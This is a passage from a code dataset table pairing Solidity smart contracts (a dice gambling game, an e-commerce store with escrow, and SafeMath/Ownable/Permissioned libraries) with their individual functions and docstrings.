file_name
stringlengths 71
779k
| comments
stringlengths 0
29.4k
| code_string
stringlengths 20
7.69M
| __index_level_0__
int64 2
17.2M
|
---|---|---|---|
./partial_match/1/0xdB9da8e3BDdB845Fa52e369357c47630D9011741/sources/TridentDistribution.sol
|
Internal function to execute an order at the given index. _orderIndex The index of the order to be executed./ Transfer the complementary ETH
|
function _executeOrder(uint _orderIndex) internal {
require(orders.length > _orderIndex);
require(complementaryEthPerOrder <= address(this).balance);
Order memory order = orders[_orderIndex];
_deleteOrder(_orderIndex);
trident.transfer(order.account, order.amount);
address(order.account).transfer(complementaryEthPerOrder);
}
| 3,911,847 |
pragma solidity < 0.6;
contract Game365Meta {
/**
owner setting
*/
address payable public owner;
// Croupier account.
address public croupier = address(0x0);
// The address corresponding to a private key used to sign placeBet commits.
address public secretSigner = address(0x0);
// Adjustable max bet profit and start winning the jackpot. Used to cap bets against dynamic odds.
uint public maxProfit = 5 ether;
uint public minJackpotWinAmount = 0.1 ether;
/*
set constants
*/
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
// Chance to win jackpot (currently 0.1%) and fee deducted into jackpot fund.
uint public constant MIN_JACKPOT_BET = 0.1 ether;
uint public constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
// There is minimum and maximum bets.
uint public constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
// Modulo is a number of equiprobable outcomes in a game:
// - 2 for coin flip
// - 6 for dice
// - 6*6 = 36 for double dice
// - 100 for etheroll
// - 37 for roulette
// etc.
// It's called so because 256-bit entropy is treated like a huge integer and
// the remainder of its division by modulo is considered bet outcome.
uint constant MAX_MODULO = 100;
uint constant MAX_MASK_MODULO = 40;
// This is a check on bet mask overflow.
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
// EVM BLOCKHASH opcode can query no further than 256 blocks into the
// past. Given that settleBet uses block hash of placeBet as one of
// complementary entropy sources, we cannot process bets older than this
// threshold. On rare occasions our croupier may fail to invoke
// settleBet in this timespan due to technical issues or extreme Ethereum
// congestion; such bets can be refunded via invoking refundBet.
uint constant BET_EXPIRATION_BLOCKS = 250;
// This are some constants making O(1) population count in placeBet possible.
// See whitepaper for intuition and proofs behind it.
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F; // decimal:63, binary:111111
/**
24h Total bet amounts/counts
*/
uint256 public lockedInBets_;
uint256 public lockedInJackpot_;
struct Bet {
// Wager amount in wei.
uint amount;
// Modulo of a game.
uint8 modulo;
// Number of winning outcomes, used to compute winning payment (* modulo/rollUnder),
// and used instead of mask for games with modulo > MAX_MASK_MODULO.
uint8 rollUnder;
// Block number of placeBet tx.
uint40 placeBlockNumber;
// Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment).
uint40 mask;
// Address of a gambler, used to pay out winning bets.
address payable gambler;
}
mapping(uint256 => Bet) bets;
// Events that are issued to make statistic recovery easier.
event FailedPayment(uint commit, address indexed beneficiary, uint amount, uint jackpotAmount);
event Payment(uint commit, address indexed beneficiary, uint amount, uint jackpotAmount);
event JackpotPayment(address indexed beneficiary, uint amount);
event Commit(uint256 commit);
/**
Constructor
*/
constructor ()
public
{
owner = msg.sender;
}
/**
Modifier
*/
// Standard modifier on methods invokable only by contract owner.
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
// Standard modifier on methods invokable only by contract owner.
modifier onlyCroupier {
require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier.");
_;
}
// See comment for "secretSigner" variable.
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
// Change the croupier address.
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function setMinJackPotWinAmount(uint _minJackpotAmount) public onlyOwner {
minJackpotWinAmount = _minJackpotAmount;
}
// This function is used to bump up the jackpot fund. Cannot be used to lower it.
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (lockedInJackpot_ + lockedInBets_ + increaseAmount <= address(this).balance, "Not enough funds.");
lockedInJackpot_ += uint128(increaseAmount);
}
// Funds withdrawal to cover costs of our operation.
function withdrawFunds(address payable beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
sendFunds(1, beneficiary, withdrawAmount, 0);
}
// Contract may be destroyed only when there are no ongoing bets,
// either settled or refunded. All funds are transferred to contract owner.
function kill() external onlyOwner {
selfdestruct(owner);
}
// Fallback function deliberately left empty. It's primary use case
// is to top up the bank roll.
function () external payable {
}
function placeBet(uint256 betMask, uint256 modulo, uint256 commitLastBlock, uint256 commit, bytes32 r, bytes32 s)
external
payable
{
Bet storage bet = bets[commit];
require(bet.gambler == address(0), "already betting same commit number");
uint256 amount = msg.value;
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (block.number <= commitLastBlock, "Commit has expired.");
//@DEV It will be changed later.
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, commit));
require (secretSigner == ecrecover(prefixedHash, 28, r, s), "ECDSA signature is not valid.");
// Winning amount and jackpot increase.
uint rollUnder;
// uint mask;
// Small modulo games specify bet outcomes via bit mask.
// rollUnder is a number of 1 bits in this mask (population count).
// This magical looking formula is an efficient way to compute population
// count on EVM for numbers below 2**40. For detailed proof consult
// the our whitepaper.
if(modulo <= MAX_MASK_MODULO){
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
// mask = betMask; //Stack too deep, try removing local variables.
}else{
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
// Enforce max profit limit.
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
// Lock funds.
lockedInBets_ += uint128(possibleWinAmount);
lockedInJackpot_ += uint128(jackpotFee);
// Check whether contract has enough funds to process this bet.
require (lockedInJackpot_ + lockedInBets_ <= address(this).balance, "Cannot afford to lose this bet.");
// Record commit in logs.
emit Commit(commit);
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(betMask);
bet.gambler = msg.sender;
}
// This is the method used to settle 99% of bets. To process a bet with a specific
// "commit", settleBet should supply a "reveal" number that would Keccak256-hash to
// "commit". "blockHash" is the block hash of placeBet block as seen by croupier; it
// is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
// Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash, "Does not matched blockHash.");
// Settle bet using reveal and blockHash as entropy sources.
settleBetCommon(bet, reveal, blockHash);
}
// Common settlement code for settleBet & settleBetUncleMerkleProof.
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
// Fetch bet parameters into local variables (to save gas).
uint commit = uint(keccak256(abi.encodePacked(reveal)));
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
address payable gambler = bet.gambler;
// Check that bet is in 'active' state.
require (amount != 0, "Bet should be in an 'active' state");
// Move bet into 'processed' state already.
bet.amount = 0;
// The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners
// are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256
// preimage is intractable), and house is unable to alter the "reveal" after
// placeBet have been mined (as Keccak256 collision finding is also intractable).
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
// Do a roll by taking a modulo of entropy. Compute winning amount.
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
// Determine dice outcome.
if (modulo <= MAX_MASK_MODULO) {
// For small modulo games, check the outcome against a bit mask.
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
// For larger modulos, check inclusion into half-open interval.
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
// Unlock the bet amount, regardless of the outcome.
lockedInBets_ -= uint128(diceWinAmount);
// Roll for a jackpot (if eligible).
if (amount >= MIN_JACKPOT_BET && lockedInJackpot_ >= minJackpotWinAmount) {
// The second modulo, statistically independent from the "main" dice roll.
// Effectively you are playing two games at once!
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
// Bingo!
if (jackpotRng == 0) {
jackpotWin = lockedInJackpot_;
lockedInJackpot_ = 0;
}
}
// Log jackpot win.
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
// Send the funds to gambler.
sendFunds(commit, gambler, diceWin, jackpotWin);
}
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;
}
// Refund transaction - return the bet amount of a roll that was not processed in a
// due timeframe. Processing such blocks is not possible due to EVM limitations (see
// BET_EXPIRATION_BLOCKS comment above for details). In case you ever find yourself
// in a situation like this, just contact the our support, however nothing
// precludes you from invoking this method yourself.
function refundBet(uint commit) external {
// Check that bet is in 'active' state.
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
// Check that bet has already expired.
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
// Move bet into 'processed' state, release funds.
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
lockedInBets_ -= uint128(diceWinAmount);
lockedInJackpot_ -= uint128(jackpotFee);
// Send the refund.
sendFunds(commit, bet.gambler, amount, 0);
}
// Helper routine to process the payment.
function sendFunds(uint commit, address payable beneficiary, uint diceWin, uint jackpotWin) private {
uint amount = diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin;
uint successLogAmount = diceWin;
if (beneficiary.send(amount)) {
emit Payment(commit, beneficiary, successLogAmount, jackpotWin);
} else {
emit FailedPayment(commit, beneficiary, amount, 0);
}
}
}
|
This function is used to bump up the jackpot fund. Cannot be used to lower it.
|
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (lockedInJackpot_ + lockedInBets_ + increaseAmount <= address(this).balance, "Not enough funds.");
lockedInJackpot_ += uint128(increaseAmount);
}
| 12,684,572 |
pragma solidity ^0.4.24;
import "./zeppelin/ownership/Ownable.sol";
import "./ReentryProtector.sol";
import "./zeppelin/SafeMath.sol";
import "./Escrow.sol";
/** @title Ecommerce Contract */
contract Ecommerce is Ownable, ReentryProtector {
using SafeMath for uint256;
function addStore(
bytes32 _name,
bytes32 _email,
address _arbiter,
bytes32 _storeFrontImage,
address _sellerAddress
)
external
payable
notHaveStore(_sellerAddress)
returns (bool)
{
externalEnter();
storesCount = storesCount.add(1);
storesById[storesCount] = Store(_sellerAddress, _name, _email, _arbiter, _storeFrontImage, 0/*msg.value*/, 0);
storesBySellers[_sellerAddress] = storesCount;
externalLeave();
return true;
}
// ===================================================
// Fallback
// ===================================================
// this contract will accept any deposit from any person/contract as a donnation when user is creating a store
// the balance will be added to the EcommerceFactory balance
function () public payable {
emit LogDonnationReceived(msg.sender, msg.value);
}
mapping (uint => Store) public storesById; // Stores by id
mapping (address => mapping(uint => Product)) public stores; // products by stores
mapping (uint => address) public storesByProductId; // seller address by product id
mapping (address => uint) public storesBySellers; // store by seller address, used to prevent more than one store per user
mapping (address => uint) public productCountByStore; // product count by store
mapping (uint => address) public productsEscrow; // product escrow control
uint public storesCount;
uint public productCount;
struct Store {
address storeAddress;
bytes32 name;
bytes32 email;
address arbiter;
bytes32 storeFrontImage;
uint balance;
uint productCount;
}
enum ProductCondition {New , Used}
enum ProductState {ForSale, Sold, Shipped, Received, Deleted}
struct Product {
uint id;
bytes32 name;//
bytes32 category;//
bytes32 imageLink;//
bytes32 descLink;//
uint startTime;//
uint price;//
address buyer;
ProductCondition productCondition;//
ProductState productState;//
bool exists;
}
modifier notHaveStore(address sellerAddress) {
require(!(sellerAddress == storesById[storesBySellers[sellerAddress]].storeAddress), "User already has a store" );
_;
}
modifier onlyStoreOwner() {
require(storesById[storesBySellers[msg.sender]].storeAddress == msg.sender, "You are not the store owner!" );
_;
}
modifier requireProductName(bytes32 _name) { require(!(_name == 0x0), "Product name is mandatory"); _;}
modifier requireProductCategory(bytes32 _productCategory) { require(!(_productCategory == 0x0), "Product category is mandatory"); _;}
modifier requireDescLink(bytes32 _descLink) { require(!(_descLink == 0x0), "Product description is mandatory"); _;}
modifier requireImageLink(bytes32 _imageLink) { require(!(_imageLink == 0x0), "Product image is mandatory"); _;}
modifier requireStartTime(uint _startTime) { require(_startTime > 0 , "Listing start time is mandatory"); _;}
modifier requirePrice(uint _price) { require(_price > 0 , "Product price is mandatory"); _;}
modifier productExists(uint _id) { require( stores[storesByProductId[_id]][_id].exists, "Product not found."); _; }
modifier verifyCaller (address _caller) { require(msg.sender == _caller, "Caller not authorized to use this function."); _;}
modifier validProductCondition(uint _productCondition) {
require(ProductCondition(_productCondition) == ProductCondition.New || ProductCondition(_productCondition) == ProductCondition.Used, "Product name is mandatory");
_;
}
modifier forSale (uint _id) {
require(stores[storesByProductId[_id]][_id].productState == ProductState.ForSale, "Product not on Sale state");
_;
}
modifier sold (uint _id) {
require(stores[storesByProductId[_id]][_id].productState == ProductState.Sold, "Product not on Sold State");
_;
}
modifier shipped (uint _id) {
require(stores[storesByProductId[_id]][_id].productState == ProductState.Shipped, "Product not on Shipped state");
_;
}
modifier received (uint _id) {
require(stores[storesByProductId[_id]][_id].productState == ProductState.Received, "Product not on Received state");
_;
}
modifier paidEnough(uint _price) {
require(msg.value >= _price, "Not paid enough for the product");
_;
}
modifier checkValue(uint _id) {
// refund buyer in case msg.value > product price
_;
uint _price = stores[storesByProductId[_id]][_id].price;
uint _amountToRefund = msg.value.sub(_price);
stores[storesByProductId[_id]][_id].buyer.transfer(_amountToRefund);
emit LogCheckValue("Amount to refund", _amountToRefund);
}
event LogProductRemoved(bytes32 message, uint productCount);
event LogDonnationReceived(address sender, uint value);
event LogForSale(bytes32 message, uint id);
event LogSold(bytes32 message, uint id);
event LogShipped(bytes32 message, uint id);
event LogReceived(bytes32 message, uint id);
event LogCheckValue(bytes32 message, uint _amount);
event LogEscrowCreated(uint id, address buyer, address seller, address arbiter);
event LogReleaseAmountToSeller(bytes32 message, uint productId, address caller);
event LogRefundAmountToBuyer(bytes32 message, uint productId, address caller);
event LogWithdraw(bytes32 message, uint productId, address caller);
event LogProductUpdated(bytes32 message, uint productId);
/** @dev Add product to stores mapping - imageLink and descLink are initialized with blanks,
* @dev this function should be used in conjunt with addProductDetail, to update imageLink and descLink
* @param _name product name
* @param _category product category
* @param _startTime listing start time
* @param _price product price in Wei
* @param _productCondition product condition
* @return product index
*/
function addProduct(
bytes32 _name,
bytes32 _category,
uint _startTime,
uint _price,
uint _productCondition
)
external
onlyStoreOwner
requireProductName(_name)
requireProductCategory(_category)
requireStartTime(_startTime)
requirePrice(_price)
validProductCondition(_productCondition)
{
externalEnter();
productCount = productCount.add(1);
Product memory product = Product(
productCount,
_name,
_category,
"empty",
"empty",
_startTime,
_price,
0x0,
ProductCondition(_productCondition),
ProductState.ForSale,
true
);
stores[msg.sender][productCount] = product;
storesByProductId[productCount] = msg.sender;
// update product count by store
productCountByStore[msg.sender] = productCountByStore[msg.sender].add(1);
emit LogForSale("Product for Sale:", productCountByStore[msg.sender]);
externalLeave();
}
/** @dev Update product image
* @param _id product Id
* @param _imageLink IFPS address of the image
*/
function updateProductImage(
uint _id,
bytes32 _imageLink
)
external
onlyStoreOwner
productExists(_id)
requireImageLink(_imageLink)
{
externalEnter();
stores[storesByProductId[_id]][_id].imageLink = _imageLink;
emit LogProductUpdated("Product image updated:", _id);
externalLeave();
}
/** @dev Update product description
* @param _id product Id
* @param _descLink IFPS address of product description
*/
function updateProductDesc(
uint _id,
bytes32 _descLink
)
external
onlyStoreOwner
productExists(_id)
requireDescLink(_descLink)
{
externalEnter();
stores[storesByProductId[_id]][_id].descLink = _descLink;
emit LogProductUpdated("Product description updated:", _id);
externalLeave();
}
/** @dev Update product state to Deleted
* @param _id product id
*/
function removeProduct(uint _id)
external
onlyStoreOwner
productExists(_id)
forSale(_id)
{
externalEnter();
stores[msg.sender][_id].productState = ProductState.Deleted;
productCountByStore[msg.sender] = productCountByStore[msg.sender].sub(1);
emit LogProductRemoved("Product removed:", _id);
externalLeave();
}
/** @dev Get product details
* @param _id product index
* @return Product struct
*/
function getProduct(uint _id)
external
productExists(_id)
view
returns(
uint id,
bytes32 name,
bytes32 category,
uint startTime,
uint price,
address buyer,
ProductCondition condition,
ProductState productState
)
{
Product memory product = stores[storesByProductId[_id]][_id]; // load product from memory
return (
product.id,
product.name,
product.category,
product.startTime,
product.price,
product.buyer,
product.productCondition,
product.productState
);
}
/** @dev Get product IFPS addresses for details
* @param _id product index
* @return Product image link , product Desciption link
*/
function getProductDetails(uint _id)
external
productExists(_id)
view
returns(
bytes32 imageLink,
bytes32 descLink
)
{
Product memory product = stores[storesByProductId[_id]][_id]; // load product from memory
return (
product.imageLink,
product.descLink
);
}
/** @dev Buy a product
* @param _id product name
* @return product index
*/
function buyProduct(uint _id)
external
payable
productExists(_id)
forSale(_id)
paidEnough(stores[storesByProductId[_id]][_id].price)
checkValue(_id)
{
externalEnter();
stores[storesByProductId[_id]][_id].buyer = msg.sender;
stores[storesByProductId[_id]][_id].productState = ProductState.Sold;
emit LogSold("Product sold", _id);
//function initEscrow(uint _id, uint _value, address _buyer)
initEscrow(_id, stores[storesByProductId[_id]][_id].price, msg.sender); // create Escrow contract
externalLeave();
}
/** @dev set product state to Shipped
* @param _id product index
*/
function shipItem(uint _id)
external
sold(_id)
productExists(_id)
verifyCaller(storesByProductId[_id])
{
externalEnter();
stores[storesByProductId[_id]][_id].productState = ProductState.Shipped;
emit LogShipped("Product shipped", _id);
externalLeave();
}
/** @dev set product state to Received
* @param _id product index
*/
function receiveItem(uint _id)
external
shipped(_id)
productExists(_id)
verifyCaller(stores[storesByProductId[_id]][_id].buyer)
{
externalEnter();
stores[storesByProductId[_id]][_id].productState = ProductState.Received;
emit LogReceived("Product received", _id);
externalLeave();
}
/** @dev get product escrow details
* @param _id product index
* @return Escrow contract details
*/
function escrowDetails(uint _id)
external
productExists(_id)
view
returns (address, address, address, uint, bool, uint, uint)
{
return Escrow(productsEscrow[_id]).escrowDetails();
}
/** @dev Function to release amount to the seller
* @param _id product index
*/
function releaseAmountToSeller(uint _id)
external
productExists(_id)
{
externalEnter();
Escrow(productsEscrow[_id]).releaseAmountToSeller(msg.sender);
emit LogReleaseAmountToSeller("Amount released to Seller", _id, msg.sender);
externalLeave();
}
/** @dev Function to refund amount to buyer
* @param _id product index
* @return product index
*/
function refundAmountToBuyer(uint _id)
external
productExists(_id)
{
externalEnter();
Escrow(productsEscrow[_id]).refundAmountToBuyer(msg.sender);
emit LogRefundAmountToBuyer("Amount refunded to Buyer", _id, msg.sender);
externalLeave();
}
/** @dev Function to refund amount to buyer
* @param _id product index
* @return product index
*/
function withdraw(uint _id)
external
productExists(_id)
{
externalEnter();
Escrow(productsEscrow[_id]).withdraw(msg.sender);
emit LogWithdraw("Withdraw request", _id, msg.sender);
externalLeave();
}
/** @dev internal function to instantiate a escrow contract for the purchased product
* @param _id product index
* @param _value product value
* @param _buyer buyer address
*/
function initEscrow(uint _id, uint _value, address _buyer)
internal
{
// create escrow contract
emit LogEscrowCreated(_value, _buyer, 0x0, 0x0);
Escrow escrow = (new Escrow).value(_value)(
_id,
_buyer,
storesByProductId[_id], //seller
storesById[storesBySellers[storesByProductId[_id]]].arbiter //load arbiter from the Store
);
productsEscrow[_id] = escrow;
emit LogEscrowCreated(_id, _buyer, storesByProductId[_id], storesById[storesBySellers[storesByProductId[_id]]].arbiter);
}
}
|
Add product to stores mapping - imageLink and descLink are initialized with blanks, this function should be used in conjunt with addProductDetail, to update imageLink and descLink _name product name _category product category _startTime listing start time _price product price in Wei _productCondition product condition return product index/ update product count by store
|
function addProduct(
bytes32 _name,
bytes32 _category,
uint _startTime,
uint _price,
uint _productCondition
)
external
onlyStoreOwner
requireProductName(_name)
requireProductCategory(_category)
requireStartTime(_startTime)
requirePrice(_price)
validProductCondition(_productCondition)
{
externalEnter();
productCount = productCount.add(1);
Product memory product = Product(
productCount,
_name,
_category,
"empty",
"empty",
_startTime,
_price,
0x0,
ProductCondition(_productCondition),
ProductState.ForSale,
true
);
stores[msg.sender][productCount] = product;
storesByProductId[productCount] = msg.sender;
productCountByStore[msg.sender] = productCountByStore[msg.sender].add(1);
emit LogForSale("Product for Sale:", productCountByStore[msg.sender]);
externalLeave();
}
| 1,018,095 |
// Sources flattened with hardhat v2.3.0 https://hardhat.org
// File contracts/lib/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File contracts/lib/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File contracts/lib/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/lib/Permissioned.sol
abstract contract Permissioned is Ownable {
using SafeMath for uint;
uint public numberOfAllowedDepositors;
mapping(address => bool) public allowedDepositors;
event AllowDepositor(address indexed account);
event RemoveDepositor(address indexed account);
modifier onlyAllowedDeposits() {
if (numberOfAllowedDepositors > 0) {
require(allowedDepositors[msg.sender] == true, "Permissioned::onlyAllowedDeposits, not allowed");
}
_;
}
/**
* @notice Add an allowed depositor
* @param depositor address
*/
function allowDepositor(address depositor) external onlyOwner {
require(allowedDepositors[depositor] == false, "Permissioned::allowDepositor");
allowedDepositors[depositor] = true;
numberOfAllowedDepositors = numberOfAllowedDepositors.add(1);
emit AllowDepositor(depositor);
}
/**
* @notice Remove an allowed depositor
